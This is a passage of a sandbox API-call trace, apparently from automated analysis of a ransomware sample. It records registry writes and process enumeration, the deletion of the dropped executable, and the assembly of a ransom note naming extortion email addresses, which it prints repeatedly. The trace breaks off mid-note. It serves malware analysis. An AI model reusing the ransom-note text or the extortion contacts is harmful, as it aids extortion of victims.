lpdwDisposition=0x0 | out: phkResult=0x2fcfe18*=0x2bc, lpdwDisposition=0x0) returned 0x0 [0054.349] RegSetValueExW (in: hKey=0x2bc, lpValueName="d0e7313858", Reserved=0x0, dwType=0x3, lpData=0x33cb440*, cbData=0x8c | out: lpData=0x33cb440*) returned 0x0 [0054.349] RegFlushKey (hKey=0x2bc) returned 0x0 [0054.352] RegCloseKey (hKey=0x2bc) returned 0x0 [0054.352] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33d1bd8) returned 1 [0054.352] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cb440) returned 1 [0054.352] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x1024) returned 0x33e3ba8 [0054.352] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33e3ba8, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x33e3ba8, ResultLength=0x0) returned 0xc0000004 [0054.353] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33e3ba8, Size=0x2048) returned 0x33e3ba8 [0054.353] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33e3ba8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x33e3ba8, ResultLength=0x0) returned 0xc0000004 [0054.353] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33e3ba8, Size=0x306c) returned 0x33e3ba8 [0054.353] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33e3ba8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x33e3ba8, ResultLength=0x0) returned 0xc0000004 [0054.354] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33e3ba8, Size=0x4090) returned 0x33e3ba8 [0054.354] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33e3ba8, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x33e3ba8, ResultLength=0x0) returned 0xc0000004 [0054.354] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33e3ba8, Size=0x50b4) returned 0x33e3ba8 [0054.354] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33e3ba8, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x33e3ba8, ResultLength=0x0) returned 0xc0000004 [0054.354] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33e3ba8, Size=0x60d8) returned 0x33e3ba8 [0054.355] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33e3ba8, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x33e3ba8, ResultLength=0x0) returned 0xc0000004 [0054.355] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33e3ba8, Size=0x70fc) returned 0x33e3ba8 [0054.355] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33e3ba8, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x33e3ba8, ResultLength=0x0) returned 0xc0000004 [0054.356] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33e3ba8, Size=0x8120) returned 0x33e3ba8 [0054.356] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33e3ba8, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x33e3ba8, ResultLength=0x0) returned 0xc0000004 [0054.356] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33e3ba8, Size=0x9144) returned 0x33e3ba8 [0054.356] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33e3ba8, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x33e3ba8, ResultLength=0x0) returned 0xc0000004 [0054.357] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33e3ba8, Size=0xa168) returned 0x33e3ba8 [0054.358] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33e3ba8, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x33e3ba8, ResultLength=0x0) returned 0xc0000004 [0054.359] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33e3ba8, Size=0xb18c) returned 0x33e3ba8 [0054.359] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33e3ba8, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x33e3ba8, ResultLength=0x0) returned 0xc0000004 [0054.359] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33e3ba8, Size=0xc1b0) returned 0x33e3ba8 [0054.359] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33e3ba8, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x33e3ba8, ResultLength=0x0) returned 0xc0000004 [0054.359] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33e3ba8, Size=0xd1d4) returned 0x33e3ba8 [0054.359] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33e3ba8, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x33e3ba8, ResultLength=0x0) returned 0xc0000004 [0054.360] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33e3ba8, Size=0xe1f8) returned 0x33e3ba8 [0054.360] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33e3ba8, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x33e3ba8, ResultLength=0x0) returned 0xc0000004 [0054.360] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33e3ba8, Size=0xf21c) returned 0x33e3ba8 [0054.360] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33e3ba8, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x33e3ba8, ResultLength=0x0) returned 0xc0000004 [0054.369] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33e3ba8, Size=0x10240) returned 0x33e3ba8 [0054.369] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33e3ba8, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x33e3ba8, ResultLength=0x0) returned 0xc0000004 [0054.369] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33e3ba8, Size=0x11264) returned 0x33e3ba8 [0054.369] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33e3ba8, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x33e3ba8, ResultLength=0x0) returned 0xc0000004 [0054.370] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33e3ba8, Size=0x12288) returned 0x33e3ba8 [0054.370] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33e3ba8, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x33e3ba8, ResultLength=0x0) returned 0xc0000004 [0054.370] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33e3ba8, Size=0x132ac) returned 0x33e3ba8 [0054.370] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33e3ba8, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x33e3ba8, ResultLength=0x0) returned 0xc0000004 [0054.371] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33e3ba8, Size=0x142d0) returned 0x33e3ba8 [0054.371] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33e3ba8, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x33e3ba8, ResultLength=0x0) returned 0xc0000004 [0054.371] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33e3ba8, Size=0x152f4) returned 0x33e3ba8 [0054.371] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33e3ba8, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x33e3ba8, ResultLength=0x0) returned 0xc0000004 [0054.372] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33e3ba8, Size=0x16318) returned 0x33f8ea8 [0054.373] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33f8ea8, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x33f8ea8, ResultLength=0x0) returned 0xc0000004 [0054.374] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33f8ea8, Size=0x1733c) returned 0x340f1c8 [0054.375] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x340f1c8, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x340f1c8, ResultLength=0x0) returned 0xc0000004 [0054.376] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x340f1c8, Size=0x18360) returned 0x340f1c8 [0054.376] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x340f1c8, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x340f1c8, ResultLength=0x0) returned 0xc0000004 [0054.376] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x340f1c8, Size=0x19384) returned 0x33e3ba8 [0054.376] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33e3ba8, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x33e3ba8, ResultLength=0x0) returned 0xc0000004 [0054.376] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33e3ba8, Size=0x1a3a8) returned 0x33e3ba8 [0054.376] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33e3ba8, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x33e3ba8, ResultLength=0x0) returned 0xc0000004 [0054.377] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33e3ba8, Size=0x1b3cc) returned 0x33e3ba8 [0054.377] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33e3ba8, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x33e3ba8, ResultLength=0x0) returned 0x0 [0054.377] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e3ba8) returned 1 [0054.377] GetCurrentProcessId () returned 0xdb0 [0054.378] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\2c08f5ca36.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\2c08f5ca36.exe")) returned 1 [0054.380] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cb228) returned 1 [0054.380] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x7) returned 0x33d6908 [0054.380] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe) returned 0x33d24a0 [0054.380] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x28) returned 0x33d1bd8 [0054.380] strstr (_Str="{ID}-Readme.txt", _SubStr="{ID}") returned="{ID}-Readme.txt" [0054.380] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xd) returned 0x33d25c0 [0054.380] strstr (_Str="*-Readme.txt", _SubStr="{ID}") returned 0x0 [0054.380] RtlInitAnsiString (in: DestinationString=0x2fcfe3c, SourceString="*-Readme.txt" | out: DestinationString="*-Readme.txt") [0054.380] RtlAnsiStringToUnicodeString (in: DestinationString=0x2fcfe44, SourceString="*-Readme.txt", AllocateDestinationString=1 | out: DestinationString="*-Readme.txt") returned 0x0 [0054.380] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x1a) returned 0x33d88f0 [0054.380] RtlFreeAnsiString (AnsiString="*") [0054.380] strstr (_Str=".mailto[{mail1}].{id}", _SubStr="{id}") returned="{id}" [0054.380] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e1b30 [0054.380] strstr (_Str=".mailto[{mail1}].d0e731", _SubStr="{id}") returned 0x0 [0054.380] strstr (_Str=".mailto[{mail1}].d0e731", _SubStr="{ID}") returned 0x0 [0054.380] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e19f0 [0054.380] strcpy (in: _Dest=0x33e19f0, _Source=".mailto[{mail1}].d0e731" | out: _Dest=".mailto[{mail1}].d0e731") returned=".mailto[{mail1}].d0e731" [0054.380] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e1b30) returned 1 [0054.380] strstr (_Str=".mailto[{mail1}].d0e731", _SubStr="{mail1}") returned="{mail1}].d0e731" [0054.380] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x22) returned 0x33d1d28 [0054.380] strstr (_Str=".mailto[kokoklock@cock.li].d0e731", _SubStr="{mail1}") returned 0x0 [0054.380] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e19f0) returned 1 [0054.380] strstr (_Str=".mailto[kokoklock@cock.li].d0e731", _SubStr="{mail2}") returned 0x0 [0054.380] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x22) returned 0x33d1cc8 [0054.380] strcpy (in: _Dest=0x33d1cc8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest=".mailto[kokoklock@cock.li].d0e731") returned=".mailto[kokoklock@cock.li].d0e731" [0054.381] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33d1d28) returned 1 [0054.381] RtlInitAnsiString (in: DestinationString=0x2fcfe3c, SourceString=".mailto[kokoklock@cock.li].d0e731" | out: DestinationString=".mailto[kokoklock@cock.li].d0e731") [0054.381] RtlAnsiStringToUnicodeString (in: DestinationString=0x2fcfe44, SourceString=".mailto[kokoklock@cock.li].d0e731", AllocateDestinationString=1 | out: DestinationString=".mailto[kokoklock@cock.li].d0e731") returned 0x0 [0054.381] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x44) returned 0x33d29d8 [0054.381] RtlFreeAnsiString (AnsiString=".") [0054.381] strstr (_Str="{ID}-Readme.txt", _SubStr="{id}") returned 0x0 [0054.381] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x10) returned 0x33d2518 [0054.381] strcpy (in: _Dest=0x33d2518, _Source="{ID}-Readme.txt" | out: _Dest="{ID}-Readme.txt") returned="{ID}-Readme.txt" [0054.381] strstr (_Str="{ID}-Readme.txt", _SubStr="{ID}") returned="{ID}-Readme.txt" [0054.381] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x12) returned 0x33e19f0 [0054.381] strstr (_Str="D0E731-Readme.txt", _SubStr="{ID}") returned 0x0 [0054.381] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33d2518) returned 1 [0054.381] strstr (_Str="D0E731-Readme.txt", _SubStr="{mail1}") returned 0x0 [0054.381] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x12) returned 0x33e18f0 [0054.381] strcpy (in: _Dest=0x33e18f0, _Source="D0E731-Readme.txt" | out: _Dest="D0E731-Readme.txt") returned="D0E731-Readme.txt" [0054.381] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e19f0) returned 1 [0054.381] strstr (_Str="D0E731-Readme.txt", _SubStr="{mail2}") returned 0x0 [0054.381] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x12) returned 0x33e1b10 [0054.381] strcpy (in: _Dest=0x33e1b10, _Source="D0E731-Readme.txt" | out: _Dest="D0E731-Readme.txt") returned="D0E731-Readme.txt" [0054.381] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e18f0) returned 1 [0054.381] RtlInitAnsiString (in: DestinationString=0x2fcfe3c, SourceString="D0E731-Readme.txt" | out: DestinationString="D0E731-Readme.txt") [0054.381] RtlAnsiStringToUnicodeString (in: DestinationString=0x2fcfe44, SourceString="D0E731-Readme.txt", AllocateDestinationString=1 | out: DestinationString="D0E731-Readme.txt") returned 0x0 [0054.381] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x24) returned 0x33d1d28 [0054.381] RtlFreeAnsiString (AnsiString="D") [0054.381] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xab) returned 0x33e3538 [0054.381] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe5) returned 0x33d15c0 [0054.381] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xf1) returned 0x33d2170 [0054.381] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33d15c0) returned 1 [0054.381] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e3538) returned 1 [0054.381] strstr (_Str="++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\r\n---\r\nWhat happen ?\r\n---\r\n\r\nYour files are encrypted, and currently unavailable.\r\nYou can check it: all files on your computer has expansion {id}.\r\nBy the way, everything is possible to recover, but you need to follow our instructions.\r\nOtherwise, you cant return your data.\r\n\r\n---\r\nWhat guarantees?\r\n---\r\n\r\nIts just a business. We absolutely do not care about you and your deals, except getting\r\nbenefits. If we do not do our work and liabilities - nobody will not cooperate with us.\r\nIts not in our interests.\r\nTo check the ability of returning files, you should write to us by email. \r\nThere you can decrypt one file for free. That is our guarantee.\r\n\r\n---\r\nHow to contact with us ?\r\n---\r\n\r\nEmail us:\r\n1.{mail1}\r\n2.{mail2}\r\n\r\nBe sure to include your personal code in the letter:\r\n{key_{id}:{code}}\r\n\r\n\r\n\r\n\r\n\r\n", _SubStr="{id}") returned="{id}.\r\nBy the way, everything is possible to recover, but you need to follow our instructions.\r\nOtherwise, you cant return your data.\r\n\r\n---\r\nWhat guarantees?\r\n---\r\n\r\nIts just a business. We absolutely do not care about you and your deals, except getting\r\nbenefits. If we do not do our work and liabilities - nobody will not cooperate with us.\r\nIts not in our interests.\r\nTo check the ability of returning files, you should write to us by email. \r\nThere you can decrypt one file for free. That is our guarantee.\r\n\r\n---\r\nHow to contact with us ?\r\n---\r\n\r\nEmail us:\r\n1.{mail1}\r\n2.{mail2}\r\n\r\nBe sure to include your personal code in the letter:\r\n{key_{id}:{code}}\r\n\r\n\r\n\r\n\r\n\r\n" [0054.382] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x386) returned 0x33e3ba8 [0054.382] strstr (_Str="++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\r\n---\r\nWhat happen ?\r\n---\r\n\r\nYour files are encrypted, and currently unavailable.\r\nYou can check it: all files on your computer has expansion d0e731.\r\nBy the way, everything is possible to recover, but you need to follow our instructions.\r\nOtherwise, you cant return your data.\r\n\r\n---\r\nWhat guarantees?\r\n---\r\n\r\nIts just a business. We absolutely do not care about you and your deals, except getting\r\nbenefits. If we do not do our work and liabilities - nobody will not cooperate with us.\r\nIts not in our interests.\r\nTo check the ability of returning files, you should write to us by email. \r\nThere you can decrypt one file for free. That is our guarantee.\r\n\r\n---\r\nHow to contact with us ?\r\n---\r\n\r\nEmail us:\r\n1.{mail1}\r\n2.{mail2}\r\n\r\nBe sure to include your personal code in the letter:\r\n{key_{id}:{code}}\r\n\r\n\r\n\r\n\r\n\r\n", _SubStr="{id}") returned="{id}:{code}}\r\n\r\n\r\n\r\n\r\n\r\n" [0054.382] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x388) returned 0x33e3f38 [0054.382] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e3ba8) returned 1 [0054.382] strstr (_Str="++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\r\n---\r\nWhat happen ?\r\n---\r\n\r\nYour files are encrypted, and currently unavailable.\r\nYou can check it: all files on your computer has expansion d0e731.\r\nBy the way, everything is possible to recover, but you need to follow our instructions.\r\nOtherwise, you cant return your data.\r\n\r\n---\r\nWhat guarantees?\r\n---\r\n\r\nIts just a business. We absolutely do not care about you and your deals, except getting\r\nbenefits. If we do not do our work and liabilities - nobody will not cooperate with us.\r\nIts not in our interests.\r\nTo check the ability of returning files, you should write to us by email. \r\nThere you can decrypt one file for free. That is our guarantee.\r\n\r\n---\r\nHow to contact with us ?\r\n---\r\n\r\nEmail us:\r\n1.{mail1}\r\n2.{mail2}\r\n\r\nBe sure to include your personal code in the letter:\r\n{key_d0e731:{code}}\r\n\r\n\r\n\r\n\r\n\r\n", _SubStr="{id}") returned 0x0 [0054.382] strstr (_Str="++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\r\n---\r\nWhat happen ?\r\n---\r\n\r\nYour files are encrypted, and currently unavailable.\r\nYou can check it: all files on your computer has expansion d0e731.\r\nBy the way, everything is possible to recover, but you need to follow our instructions.\r\nOtherwise, you cant return your data.\r\n\r\n---\r\nWhat guarantees?\r\n---\r\n\r\nIts just a business. We absolutely do not care about you and your deals, except getting\r\nbenefits. If we do not do our work and liabilities - nobody will not cooperate with us.\r\nIts not in our interests.\r\nTo check the ability of returning files, you should write to us by email. \r\nThere you can decrypt one file for free. That is our guarantee.\r\n\r\n---\r\nHow to contact with us ?\r\n---\r\n\r\nEmail us:\r\n1.{mail1}\r\n2.{mail2}\r\n\r\nBe sure to include your personal code in the letter:\r\n{key_d0e731:{code}}\r\n\r\n\r\n\r\n\r\n\r\n", _SubStr="{ID}") returned 0x0 [0054.382] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x388) returned 0x33e3ba8 [0054.382] strcpy (in: _Dest=0x33e3ba8, _Source="++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\r\n---\r\nWhat happen ?\r\n---\r\n\r\nYour files are encrypted, and currently unavailable.\r\nYou can check it: all files on your computer has expansion d0e731.\r\nBy the way, everything is possible to recover, but you need to follow our instructions.\r\nOtherwise, you cant return your data.\r\n\r\n---\r\nWhat guarantees?\r\n---\r\n\r\nIts just a business. We absolutely do not care about you and your deals, except getting\r\nbenefits. If we do not do our work and liabilities - nobody will not cooperate with us.\r\nIts not in our interests.\r\nTo check the ability of returning files, you should write to us by email. \r\nThere you can decrypt one file for free. That is our guarantee.\r\n\r\n---\r\nHow to contact with us ?\r\n---\r\n\r\nEmail us:\r\n1.{mail1}\r\n2.{mail2}\r\n\r\nBe sure to include your personal code in the letter:\r\n{key_d0e731:{code}}\r\n\r\n\r\n\r\n\r\n\r\n" | out: _Dest="++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\r\n---\r\nWhat happen ?\r\n---\r\n\r\nYour files are encrypted, and currently unavailable.\r\nYou can check it: all files on your computer has expansion d0e731.\r\nBy the way, everything is possible to recover, but you need to follow our instructions.\r\nOtherwise, you cant return your data.\r\n\r\n---\r\nWhat guarantees?\r\n---\r\n\r\nIts just a business. We absolutely do not care about you and your deals, except getting\r\nbenefits. If we do not do our work and liabilities - nobody will not cooperate with us.\r\nIts not in our interests.\r\nTo check the ability of returning files, you should write to us by email. \r\nThere you can decrypt one file for free. That is our guarantee.\r\n\r\n---\r\nHow to contact with us ?\r\n---\r\n\r\nEmail us:\r\n1.{mail1}\r\n2.{mail2}\r\n\r\nBe sure to include your personal code in the letter:\r\n{key_d0e731:{code}}\r\n\r\n\r\n\r\n\r\n\r\n") returned="++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\r\n---\r\nWhat happen ?\r\n---\r\n\r\nYour files are encrypted, and currently unavailable.\r\nYou can check it: all files on your computer has expansion d0e731.\r\nBy the way, everything is possible to recover, but you need to follow our instructions.\r\nOtherwise, you cant return your data.\r\n\r\n---\r\nWhat guarantees?\r\n---\r\n\r\nIts just a business. We absolutely do not care about you and your deals, except getting\r\nbenefits. If we do not do our work and liabilities - nobody will not cooperate with us.\r\nIts not in our interests.\r\nTo check the ability of returning files, you should write to us by email. \r\nThere you can decrypt one file for free. That is our guarantee.\r\n\r\n---\r\nHow to contact with us ?\r\n---\r\n\r\nEmail us:\r\n1.{mail1}\r\n2.{mail2}\r\n\r\nBe sure to include your personal code in the letter:\r\n{key_d0e731:{code}}\r\n\r\n\r\n\r\n\r\n\r\n" [0054.382] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e3f38) returned 1 [0054.383] strstr (_Str="++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\r\n---\r\nWhat happen ?\r\n---\r\n\r\nYour files are encrypted, and currently unavailable.\r\nYou can check it: all files on your computer has expansion d0e731.\r\nBy the way, everything is possible to recover, but you need to follow our instructions.\r\nOtherwise, you cant return your data.\r\n\r\n---\r\nWhat guarantees?\r\n---\r\n\r\nIts just a business. We absolutely do not care about you and your deals, except getting\r\nbenefits. If we do not do our work and liabilities - nobody will not cooperate with us.\r\nIts not in our interests.\r\nTo check the ability of returning files, you should write to us by email. \r\nThere you can decrypt one file for free. That is our guarantee.\r\n\r\n---\r\nHow to contact with us ?\r\n---\r\n\r\nEmail us:\r\n1.{mail1}\r\n2.{mail2}\r\n\r\nBe sure to include your personal code in the letter:\r\n{key_d0e731:{code}}\r\n\r\n\r\n\r\n\r\n\r\n", _SubStr="{mail1}") returned="{mail1}\r\n2.{mail2}\r\n\r\nBe sure to include your personal code in the letter:\r\n{key_d0e731:{code}}\r\n\r\n\r\n\r\n\r\n\r\n" [0054.383] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x392) returned 0x33e3f38 [0054.384] strstr (_Str="++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\r\n---\r\nWhat happen ?\r\n---\r\n\r\nYour files are encrypted, and currently unavailable.\r\nYou can check it: all files on your computer has expansion d0e731.\r\nBy the way, everything is possible to recover, but you need to follow our instructions.\r\nOtherwise, you cant return your data.\r\n\r\n---\r\nWhat guarantees?\r\n---\r\n\r\nIts just a business. We absolutely do not care about you and your deals, except getting\r\nbenefits. If we do not do our work and liabilities - nobody will not cooperate with us.\r\nIts not in our interests.\r\nTo check the ability of returning files, you should write to us by email. \r\nThere you can decrypt one file for free. That is our guarantee.\r\n\r\n---\r\nHow to contact with us ?\r\n---\r\n\r\nEmail us:\r\n1.kokoklock@cock.li\r\n2.{mail2}\r\n\r\nBe sure to include your personal code in the letter:\r\n{key_d0e731:{code}}\r\n\r\n\r\n\r\n\r\n\r\n", _SubStr="{mail1}") returned 0x0 [0054.384] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e3ba8) returned 1 [0054.384] strstr (_Str="++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\r\n---\r\nWhat happen ?\r\n---\r\n\r\nYour files are encrypted, and currently unavailable.\r\nYou can check it: all files on your computer has expansion d0e731.\r\nBy the way, everything is possible to recover, but you need to follow our instructions.\r\nOtherwise, you cant return your data.\r\n\r\n---\r\nWhat guarantees?\r\n---\r\n\r\nIts just a business. We absolutely do not care about you and your deals, except getting\r\nbenefits. If we do not do our work and liabilities - nobody will not cooperate with us.\r\nIts not in our interests.\r\nTo check the ability of returning files, you should write to us by email. \r\nThere you can decrypt one file for free. That is our guarantee.\r\n\r\n---\r\nHow to contact with us ?\r\n---\r\n\r\nEmail us:\r\n1.kokoklock@cock.li\r\n2.{mail2}\r\n\r\nBe sure to include your personal code in the letter:\r\n{key_d0e731:{code}}\r\n\r\n\r\n\r\n\r\n\r\n", _SubStr="{mail2}") returned="{mail2}\r\n\r\nBe sure to include your personal code in the letter:\r\n{key_d0e731:{code}}\r\n\r\n\r\n\r\n\r\n\r\n" [0054.384] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x39c) returned 0x33e42d8 [0054.384] strstr (_Str="++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\r\n---\r\nWhat happen ?\r\n---\r\n\r\nYour files are encrypted, and currently unavailable.\r\nYou can check it: all files on your computer has expansion d0e731.\r\nBy the way, everything is possible to recover, but you need to follow our instructions.\r\nOtherwise, you cant return your data.\r\n\r\n---\r\nWhat guarantees?\r\n---\r\n\r\nIts just a business. We absolutely do not care about you and your deals, except getting\r\nbenefits. If we do not do our work and liabilities - nobody will not cooperate with us.\r\nIts not in our interests.\r\nTo check the ability of returning files, you should write to us by email. \r\nThere you can decrypt one file for free. That is our guarantee.\r\n\r\n---\r\nHow to contact with us ?\r\n---\r\n\r\nEmail us:\r\n1.kokoklock@cock.li\r\n2.pabpabtab@tuta.io\r\n\r\nBe sure to include your personal code in the letter:\r\n{key_d0e731:{code}}\r\n\r\n\r\n\r\n\r\n\r\n", _SubStr="{mail2}") returned 0x0 [0054.384] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e3f38) returned 1 [0054.384] strstr (_Str="++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\r\n---\r\nWhat happen ?\r\n---\r\n\r\nYour files are encrypted, and currently unavailable.\r\nYou can check it: all files on your computer has expansion d0e731.\r\nBy the way, everything is possible to recover, but you need to follow our instructions.\r\nOtherwise, you cant return your data.\r\n\r\n---\r\nWhat guarantees?\r\n---\r\n\r\nIts just a business. We absolutely do not care about you and your deals, except getting\r\nbenefits. If we do not do our work and liabilities - nobody will not cooperate with us.\r\nIts not in our interests.\r\nTo check the ability of returning files, you should write to us by email. \r\nThere you can decrypt one file for free. That is our 